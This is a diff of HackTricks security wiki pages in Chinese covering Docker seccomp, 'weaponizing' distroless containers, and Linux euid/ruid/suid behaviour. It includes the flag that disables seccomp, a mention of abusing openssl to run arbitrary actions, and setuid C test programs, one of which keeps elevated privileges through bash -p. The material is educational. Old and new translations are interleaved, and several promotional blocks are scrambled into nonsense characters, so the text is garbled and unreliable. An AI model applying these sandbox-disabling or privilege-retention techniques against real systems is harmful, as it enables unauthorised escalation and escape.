**Seccomp-bpf**由**Docker**支持,用于限制容器中的**syscalls**,有效减少攻击面。您可以在[https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)找到**默认情况下被阻止的syscalls**,并且可以在此处找到**默认的seccomp配置文件**:[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)。\
|
||||
您可以使用以下命令以**不同的seccomp策略**运行docker容器:
|
||||
## Seccomp in Docker
|
||||
|
||||
**Seccomp-bpf** 被 **Docker** 支持,以限制容器中的 **syscalls**,有效地减少攻击面。您可以在 [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) 找到 **默认** 被 **阻止的 syscalls**,**默认 seccomp 配置文件** 可以在这里找到 [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)。\
|
||||
您可以使用以下命令运行具有 **不同 seccomp** 策略的 docker 容器:
|
||||
```bash
|
||||
docker run --rm \
|
||||
-it \
|
||||
--security-opt seccomp=/path/to/seccomp/profile.json \
|
||||
hello-world
|
||||
```
|
||||
如果您想例如**禁止**容器执行一些**系统调用**,比如 `uname`,您可以从[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)下载默认配置文件,然后只需**从列表中删除 `uname` 字符串**。\
|
||||
如果您想确保**某个二进制文件在 Docker 容器中无法运行**,您可以使用 strace 列出二进制文件正在使用的系统调用,然后禁止它们。\
|
||||
在以下示例中,发现了 `uname` 的**系统调用**:
|
||||
如果你想例如**禁止**一个容器执行某些**syscall**,像`uname`,你可以从[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)下载默认配置文件,然后**从列表中移除`uname`字符串**。\
|
||||
如果你想确保**某个二进制文件在docker容器内无法工作**,你可以使用strace列出该二进制文件使用的syscalls,然后禁止它们。\
|
||||
在以下示例中,发现了`uname`的**syscalls**:
|
||||
```bash
|
||||
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
|
||||
```
|
||||
{% hint style="info" %}
|
||||
如果您只是使用 **Docker 来启动一个应用程序**,您可以使用 **`strace`** 来为其创建 **配置文件**,并且只允许其需要的 **系统调用**
|
||||
如果您只是使用 **Docker 来启动一个应用程序**,您可以使用 **`strace`** 对其进行 **分析**,并 **仅允许它所需的系统调用**
|
||||
{% endhint %}
|
||||
|
||||
### 示例 Seccomp 策略
|
||||
|
||||
[示例来自这里](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||
|
||||
为了说明 Seccomp 功能,让我们创建一个 Seccomp 配置文件,禁用 "chmod" 系统调用,如下所示。
|
||||
为了说明 Seccomp 功能,让我们创建一个 Seccomp 配置文件,禁用“chmod”系统调用,如下所示。
|
||||
```json
|
||||
{
|
||||
"defaultAction": "SCMP_ACT_ALLOW",
|
||||
|
@ -146,8 +159,8 @@ docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
|
|||
]
|
||||
}
|
||||
```
|
||||
在上述配置文件中,我们将默认操作设置为“允许”,并创建了一个黑名单来禁用“chmod”。为了更安全,我们可以将默认操作设置为“拒绝”,并创建一个白名单来有选择性地启用系统调用。\
|
||||
以下输出显示了“chmod”调用返回错误,因为在seccomp配置文件中已禁用了它。
|
||||
在上述配置文件中,我们将默认操作设置为“允许”,并创建了一个黑名单以禁用“chmod”。为了更安全,我们可以将默认操作设置为丢弃,并创建一个白名单以选择性地启用系统调用。\
|
||||
以下输出显示“chmod”调用返回错误,因为它在seccomp配置文件中被禁用。
|
||||
```bash
|
||||
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
|
||||
chmod: /etc/hosts: Operation not permitted
|
||||
|
@ -156,10 +169,35 @@ chmod: /etc/hosts: Operation not permitted
|
|||
```json
|
||||
"SecurityOpt": [
|
||||
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
|
||||
],
|
||||
```
|
||||
### 在Docker中停用它
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
使用标志启动一个容器:**`--security-opt seccomp=unconfined`**
|
||||
<details>
|
||||
|
||||
截至Kubernetes 1.19,**所有Pod默认启用seccomp**。然而,应用于Pod的默认seccomp配置文件是由容器运行时(例如Docker、containerd)提供的“**RuntimeDefault**”配置文件。这个“RuntimeDefault”配置文件允许大多数系统调用,同时阻止一些被认为是危险的或容器通常不需要的系统调用。
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,56 +1,64 @@
|
|||
# 武器化Distroless
|
||||
# Weaponizing Distroless
|
||||
|
||||
<details>
|
||||
{% hnnt styte=" acceas" %}
|
||||
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
|
||||
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<dotsilp>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
<oummpr>SupportHackTricks</smmay>
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
*Chek th [**subsrippangithub.cm/sorsarlosp!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
|
||||
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
## 什么是Distroless
|
||||
## 什么是 Distroless
|
||||
|
||||
Distroless容器是一种**只包含运行特定应用程序所需依赖的容器**,不包含任何不必要的软件或工具。这些容器旨在尽可能地**轻量级**和**安全**,并通过移除任何不必要的组件来**最小化攻击面**。
|
||||
Distroless 容器是一种只包含运行特定应用程序所需的必要依赖项的容器,不包含任何不必要的软件或工具。这些容器旨在尽可能轻量和安全,并旨在通过移除任何不必要的组件来最小化攻击面。
|
||||
|
||||
Distroless容器通常用于**安全性和可靠性至关重要的生产环境**。
|
||||
Distroless 容器通常用于安全性和可靠性至关重要的生产环境。
|
||||
|
||||
一些**Distroless容器的例子**包括:
|
||||
一些 Distroless 容器的示例包括:
|
||||
|
||||
* 由**Google**提供:[https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
|
||||
* 由**Chainguard**提供:[https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
|
||||
* 由 **Google** 提供:[https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
|
||||
* 由 **Chainguard** 提供:[https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
|
||||
|
||||
## 武器化Distroless
|
||||
## 武器化 Distroless
|
||||
|
||||
武器化Distroless容器的目标是能够**执行任意二进制文件和有效载荷,即使存在Distroless的限制**(系统中缺少常见二进制文件)以及通常在容器中发现的保护措施,如`/dev/shm`的**只读**或**不执行**。
|
||||
武器化 Distroless 容器的目标是能够在 Distroless 所带来的限制(系统中缺乏常见二进制文件)以及容器中常见的保护措施(如 `/dev/shm` 中的只读或不可执行)下执行任意二进制文件和有效负载。
|
||||
|
||||
### 通过内存
|
||||
|
||||
将在2023年的某个时候到来...
|
||||
将在 2023 年的某个时候发布...
|
||||
|
||||
### 通过现有二进制文件
|
||||
|
||||
#### openssl
|
||||
|
||||
****[**在这篇文章中,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) 解释了为什么在这些容器中经常发现**`openssl`**二进制文件,可能是因为它**需要**由即将在容器内运行的软件。
|
||||
****[**在这篇文章中,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) 解释了二进制文件 **`openssl`** 经常出现在这些容器中,可能是因为它是容器内将要运行的软件所 **需要** 的。
|
||||
{% hnt stye="acceas" %}
|
||||
AWS Ha& practice ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
|
||||
Learn & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
|
||||
|
||||
滥用**`openssl`**二进制文件可以**执行任意操作**。
|
||||
<dtil>
|
||||
|
||||
<details>
|
||||
<ummr>SupportHackTricks</smmay>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
*Chek th [**subsrippangithub.cm/sorsarlosp!
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
|
||||
* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,74 +1,77 @@
|
|||
# euid, ruid, suid
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家[NFTs的收藏品**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### 用户识别变量
|
||||
### 用户标识变量
|
||||
|
||||
- **`ruid`**:**真实用户ID**表示启动进程的用户。
|
||||
- **`euid`**:被称为**有效用户ID**,代表系统用于确定进程特权的用户身份。通常情况下,`euid`与`ruid`相同,除了像执行SetUID二进制文件这样的情况,其中`euid`会承担文件所有者的身份,从而授予特定的操作权限。
|
||||
- **`suid`**:这个**保存的用户ID**在高特权进程(通常以root身份运行)需要暂时放弃特权以执行某些任务时至关重要,然后再恢复其初始的提升状态。
|
||||
- **`ruid`**:**真实用户 ID** 表示发起该进程的用户。
|
||||
- **`euid`**:称为 **有效用户 ID**,表示系统用来确定进程权限的用户身份。通常情况下,`euid` 与 `ruid` 相同,除非在执行 SetUID 二进制文件的情况下,`euid` 采用文件所有者的身份,从而授予特定的操作权限。
|
||||
- **`suid`**:此 **保存用户 ID** 在高权限进程(通常以 root 身份运行)需要暂时放弃其权限以执行某些任务时至关重要,之后再恢复其最初的提升状态。
|
||||
|
||||
#### 重要说明
|
||||
一个未以root身份运行的进程只能修改其`euid`以匹配当前的`ruid`、`euid`或`suid`。
|
||||
非 root 进程只能将其 `euid` 修改为当前的 `ruid`、`euid` 或 `suid`。
|
||||
|
||||
### 理解set*uid函数
|
||||
### 理解 set*uid 函数
|
||||
|
||||
- **`setuid`**:与最初的假设相反,`setuid`主要修改`euid`而不是`ruid`。特别是对于特权进程,它将`ruid`、`euid`和`suid`与指定用户(通常是root)对齐,有效地由于覆盖`suid`而巩固这些ID。详细见[setuid man页面](https://man7.org/linux/man-pages/man2/setuid.2.html)。
|
||||
- **`setreuid`**和**`setresuid`**:这些函数允许对`ruid`、`euid`和`suid`进行微妙的调整。但是,它们的功能取决于进程的特权级别。对于非root进程,修改受限于`ruid`、`euid`和`suid`的当前值。相反,具有`CAP_SETUID`能力的root进程或这些进程可以将这些ID分配任意值。更多信息请参阅[setresuid man页面](https://man7.org/linux/man-pages/man2/setresuid.2.html)和[setreuid man页面](https://man7.org/linux/man-pages/man2/setreuid.2.html)。
|
||||
- **`setuid`**:与最初的假设相反,`setuid` 主要修改 `euid` 而不是 `ruid`。具体而言,对于特权进程,它将 `ruid`、`euid` 和 `suid` 与指定用户(通常是 root)对齐,有效地巩固这些 ID,因为 `suid` 会覆盖。详细信息可以在 [setuid 手册页](https://man7.org/linux/man-pages/man2/setuid.2.html) 中找到。
|
||||
- **`setreuid`** 和 **`setresuid`**:这些函数允许对 `ruid`、`euid` 和 `suid` 进行细致的调整。然而,它们的能力取决于进程的权限级别。对于非 root 进程,修改仅限于当前的 `ruid`、`euid` 和 `suid` 值。相比之下,root 进程或具有 `CAP_SETUID` 能力的进程可以为这些 ID 分配任意值。更多信息可以从 [setresuid 手册页](https://man7.org/linux/man-pages/man2/setresuid.2.html) 和 [setreuid 手册页](https://man7.org/linux/man-pages/man2/setreuid.2.html) 中获取。
|
||||
|
||||
这些功能的设计不是作为安全机制,而是为了促进预期的操作流程,例如当程序通过更改其有效用户ID采用另一个用户的身份时。
|
||||
这些功能的设计并不是作为安全机制,而是为了促进预期的操作流程,例如当程序通过更改其有效用户 ID 来采用另一个用户的身份时。
|
||||
|
||||
值得注意的是,虽然`setuid`可能是提升到root的特权的常见选择(因为它将所有ID都与root对齐),但区分这些函数对于理解和操纵不同情况下的用户ID行为至关重要。
|
||||
值得注意的是,虽然 `setuid` 可能是提升到 root 权限的常用方法(因为它将所有 ID 对齐到 root),但区分这些函数对于理解和操控不同场景下的用户 ID 行为至关重要。
|
||||
|
||||
### Linux中的程序执行机制
|
||||
### Linux 中的程序执行机制
|
||||
|
||||
#### **`execve`系统调用**
|
||||
- **功能**:`execve`启动一个由第一个参数确定的程序。它接受两个数组参数,`argv`用于参数,`envp`用于环境。
|
||||
- **行为**:保留调用者的内存空间,但刷新堆栈、堆和数据段。程序的代码被新程序替换。
|
||||
- **用户ID保留**:
|
||||
- `ruid`、`euid`和附加组ID保持不变。
|
||||
- 如果新程序设置了SetUID位,`euid`可能会有微妙的变化。
|
||||
- `suid`在执行后从`euid`更新。
|
||||
- **文档**:详细信息请参阅[`execve` man页面](https://man7.org/linux/man-pages/man2/execve.2.html)。
|
||||
#### **`execve` 系统调用**
|
||||
- **功能**:`execve` 启动一个程序,由第一个参数决定。它接受两个数组参数,`argv` 用于参数,`envp` 用于环境。
|
||||
- **行为**:它保留调用者的内存空间,但刷新堆栈、堆和数据段。程序的代码被新程序替换。
|
||||
- **用户 ID 保持**:
|
||||
- `ruid`、`euid` 和附加的组 ID 保持不变。
|
||||
- 如果新程序设置了 SetUID 位,`euid` 可能会有细微变化。
|
||||
- `suid` 在执行后从 `euid` 更新。
|
||||
- **文档**:详细信息可以在 [`execve` 手册页](https://man7.org/linux/man-pages/man2/execve.2.html) 中找到。
|
||||
|
||||
#### **`system`函数**
|
||||
- **功能**:与`execve`不同,`system`使用`fork`创建一个子进程,并在该子进程中使用`execl`执行命令。
|
||||
- **命令执行**:通过`execl("/bin/sh", "sh", "-c", command, (char *) NULL);`执行命令。
|
||||
- **行为**:由于`execl`是`execve`的一种形式,它的操作类似,但在新的子进程的上下文中进行。
|
||||
- **文档**:更多见[`system` man页面](https://man7.org/linux/man-pages/man3/system.3.html)。
|
||||
#### **`system` 函数**
|
||||
- **功能**:与 `execve` 不同,`system` 使用 `fork` 创建一个子进程,并在该子进程中执行命令,使用 `execl`。
|
||||
- **命令执行**:通过 `sh` 执行命令,使用 `execl("/bin/sh", "sh", "-c", command, (char *) NULL);`。
|
||||
- **行为**:由于 `execl` 是 `execve` 的一种形式,它在新子进程的上下文中以类似方式操作。
|
||||
- **文档**:进一步的见解可以从 [`system` 手册页](https://man7.org/linux/man-pages/man3/system.3.html) 中获取。
|
||||
|
||||
#### **`bash`和`sh`在SUID下的行为**
|
||||
#### **带有 SUID 的 `bash` 和 `sh` 的行为**
|
||||
- **`bash`**:
|
||||
- 具有`-p`选项影响`euid`和`ruid`的处理方式。
|
||||
- 没有`-p`,如果`bash`最初设置`euid`与`ruid`不同,则将`euid`设置为`ruid`。
|
||||
- 使用`-p`,保留初始`euid`。
|
||||
- 更多细节请参阅[`bash` man页面](https://linux.die.net/man/1/bash)。
|
||||
- 有一个 `-p` 选项影响 `euid` 和 `ruid` 的处理方式。
|
||||
- 如果没有 `-p`,`bash` 会将 `euid` 设置为 `ruid`,如果它们最初不同。
|
||||
- 有了 `-p`,初始的 `euid` 会被保留。
|
||||
- 更多细节可以在 [`bash` 手册页](https://linux.die.net/man/1/bash) 中找到。
|
||||
- **`sh`**:
|
||||
- 不具有类似于`bash`中的`-p`机制。
|
||||
- 关于用户ID的行为没有明确说明,除了在`-i`选项下,强调保持`euid`和`ruid`的相等性。
|
||||
- 更多信息请参阅[`sh` man页面](https://man7.org/linux/man-pages/man1/sh.1p.html)。
|
||||
- 没有类似于 `bash` 中的 `-p` 的机制。
|
||||
- 关于用户 ID 的行为没有明确提及,除了在 `-i` 选项下,强调 `euid` 和 `ruid` 的相等性保持。
|
||||
- 额外信息可在 [`sh` 手册页](https://man7.org/linux/man-pages/man1/sh.1p.html) 中找到。
|
||||
|
||||
这些机制在操作上各有不同,为执行和在程序之间转换提供了多样的选项,特定情况下对用户ID的管理和保留方式也有特定的细微差别。
|
||||
这些机制在操作上各不相同,为执行和程序之间的转换提供了多种选择,具体细节在用户 ID 的管理和保持方面有所不同。
|
||||
|
||||
### 在执行中测试用户ID行为
|
||||
### 测试执行中的用户 ID 行为
|
||||
|
||||
示例取自https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail,查看更多信息
|
||||
示例取自 https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail,查看以获取更多信息
|
||||
|
||||
#### 情况1:使用`setuid`与`system`
|
||||
#### 案例 1:使用 `setuid` 和 `system`
|
||||
|
||||
**目标**:了解`setuid`与`system`和`bash`作为`sh`结合的效果。
|
||||
**目标**:理解 `setuid` 与 `system` 和 `bash` 作为 `sh` 结合的效果。
|
||||
|
||||
**C代码**:
|
||||
**C 代码**:
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -90,16 +93,16 @@ oxdf@hacky$ chmod 4755 /mnt/nfsshare/a
|
|||
bash-4.2$ $ ./a
|
||||
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
**分析:**
|
||||
**分析:**
|
||||
|
||||
* `ruid` 和 `euid` 起始值分别为 99 (nobody) 和 1000 (frank)。
|
||||
* `setuid` 将两者都设置为 1000。
|
||||
* 由于从 sh 到 bash 的符号链接,`system` 执行 `/bin/bash -c id`。
|
||||
* `bash` 在没有 `-p` 的情况下,调整 `euid` 以匹配 `ruid`,导致两者都变为 99 (nobody)。
|
||||
* `ruid` 和 `euid` 初始值分别为 99 (nobody) 和 1000 (frank)。
|
||||
* `setuid` 将两者都对齐到 1000。
|
||||
* `system` 执行 `/bin/bash -c id`,这是由于 sh 到 bash 的符号链接。
|
||||
* `bash` 在没有 `-p` 的情况下,将 `euid` 调整为与 `ruid` 匹配,导致两者都为 99 (nobody)。
|
||||
|
||||
#### 情况 2: 使用 setreuid 与 system
|
||||
#### 案例 2:使用 setreuid 和 system
|
||||
|
||||
**C 代码**:
|
||||
**C 代码**:
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -115,18 +118,18 @@ return 0;
|
|||
```bash
|
||||
oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b
|
||||
```
|
||||
**执行和结果:**
|
||||
**执行和结果:**
|
||||
```bash
|
||||
bash-4.2$ $ ./b
|
||||
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
**分析:**
|
||||
**分析:**
|
||||
|
||||
* `setreuid` 将 ruid 和 euid 都设置为 1000。
|
||||
* `system` 调用 bash,由于它们相等,有效地作为 frank 运行。
|
||||
* `system` 调用 bash,由于用户 ID 的相等性,保持用户 ID,有效地作为 frank 操作。
|
||||
|
||||
#### 情况 3: 使用 setuid 与 execve
|
||||
目标: 探索 setuid 和 execve 之间的交互。
|
||||
#### 案例 3:使用 setuid 和 execve
|
||||
目标:探索 setuid 和 execve 之间的交互。
|
||||
```bash
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -138,16 +141,16 @@ execve("/usr/bin/id", NULL, NULL);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
**执行和结果:**
|
||||
**执行和结果:**
|
||||
```bash
|
||||
bash-4.2$ $ ./c
|
||||
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
**分析:**
|
||||
**分析:**
|
||||
|
||||
* `ruid` 保持为99,但 `euid` 被设置为1000,符合 `setuid` 的效果。
|
||||
* `ruid` 保持为 99,但 euid 设置为 1000,符合 setuid 的效果。
|
||||
|
||||
**C 代码示例 2 (调用 Bash):**
|
||||
**C 代码示例 2(调用 Bash):**
|
||||
```bash
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -165,11 +168,11 @@ bash-4.2$ $ ./d
|
|||
bash-4.2$ $ id
|
||||
uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
|
||||
```
|
||||
**分析:**
|
||||
**分析:**
|
||||
|
||||
* 尽管`setuid`将`euid`设置为1000,但由于缺少`-p`,`bash`会将euid重置为`ruid`(99)。
|
||||
* 尽管 `euid` 通过 `setuid` 设置为 1000,`bash` 由于缺少 `-p` 将 `euid` 重置为 `ruid` (99)。
|
||||
|
||||
**C代码示例3(使用bash -p):**
|
||||
**C 代码示例 3 (使用 bash -p):**
|
||||
```bash
|
||||
#define _GNU_SOURCE
|
||||
#include <stdlib.h>
|
||||
|
@ -188,18 +191,21 @@ bash-4.2$ $ ./e
|
|||
bash-4.2$ $ id
|
||||
uid=99(nobody) gid=99(nobody) euid=100
|
||||
```
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
* [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
